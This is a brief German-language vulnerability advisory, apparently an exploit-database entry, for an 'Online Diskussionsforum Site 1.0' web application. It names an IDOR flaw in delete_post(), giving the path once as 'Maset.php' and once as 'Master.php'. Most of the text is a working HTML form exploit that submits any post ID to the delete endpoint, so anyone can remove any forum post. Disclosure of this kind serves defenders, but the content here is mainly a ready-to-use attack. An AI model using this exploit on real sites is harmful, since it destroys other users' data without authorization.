
Online Diskussionsforum Site 1.0 - IDOR / Löschen eines beliebigen Beitrags
Online Diskussionsforum Site 1.0 - IDOR / Beliebiges Posting löschen
[#] Ort der Schwachstelle:
function delete_post() in /odfs/classes/Maset.php:133
[#] Ausnutzung:
<form action="http://localhost/odfs/classes/Master.php?f=delete_post" method="post" id="manage-user"> <input type="text" name="id" value="" placeholder="POST-ID zum Löschen eingeben" required> <button type="submit">Posting löschen</button> </form>